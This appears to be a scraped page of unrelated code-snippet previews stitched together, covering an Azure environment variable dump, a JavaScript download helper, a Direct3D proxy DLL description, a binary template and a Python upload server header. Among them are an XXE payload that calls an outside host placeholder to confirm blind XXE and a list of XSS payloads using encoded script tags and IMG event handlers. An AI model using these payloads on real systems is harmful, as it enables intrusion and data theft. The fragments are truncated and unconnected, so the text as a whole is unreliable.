One Paragraph of project description goes here
These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.
ALLUSERSPROFILE C:\DWASFiles\Sites\WebjobsEnvvars\ProgramData | |
APP_POOL_CONFIG C:\DWASFiles\Sites\WebjobsEnvvars\Config\applicationhost.config | |
APP_POOL_ID WebjobsEnvvars | |
APPDATA C:\DWASFiles\Sites\WebjobsEnvvars\AppData | |
APPSETTING_REMOTEDEBUGGINGVERSION 11.0.611103.400 | |
APPSETTING_ScmType None | |
APPSETTING_WEBSITE_NODE_DEFAULT_VERSION 0.10.29 | |
APPSETTING_WEBSITE_SITE_NAME WebjobsEnvvars | |
aspnet:DisableFcnDaclRead true | |
aspnet:PortableCompilationOutput true |
function downloadString(text, fileType, fileName) { | |
var blob = new Blob([text], { type: fileType }); | |
var a = document.createElement('a'); | |
a.download = fileName; | |
a.href = URL.createObjectURL(blob); | |
a.dataset.downloadurl = [fileType, a.download, a.href].join(':'); | |
a.style.display = "none"; | |
document.body.appendChild(a); | |
a.click(); |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
'use strict'; | |
var fs = require('fs'); | |
var maps = [ | |
fs.readFileSync('./main.xxxx.js.map'), | |
fs.readFileSync('./1.chunk.xxxx.js.map'), | |
fs.readFileSync('./2.chunk.xxxx.js.map'), | |
fs.readFileSync('./3.chunk.xxxx.js.map') | |
]; |
In response to a StackOverflow question:
This is code to build a Direct3D wrapper DLL, intercepting all calls to Direct3D interface functions so that you can draw your own objects to display over the game. Just plop the DLL into the same folder as the game's executable, and it should load it as if it were the real d3d9.dll file. It still forwards all calls to the real one in system32, just allows stuff to happen in between. original stackoverflow answer
//-------------------------------------- | |
//--- 010 Editor Binary Template | |
// | |
// File: FSB5.bt | |
// Author: Simon Pinfold | |
// Purpose: Parses the FSB5 (v0 and v1) audio container. | |
//-------------------------------------- | |
BitfieldDisablePadding(); |
#!/usr/bin/env python | |
"""Simple HTTP Server With Upload. | |
This module builds on BaseHTTPServer by implementing the standard GET | |
and HEAD requests in a fairly straightforward manner. | |
""" | |
__version__ = "0.1" | |
__all__ = ["SimpleHTTPRequestHandler"] |
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |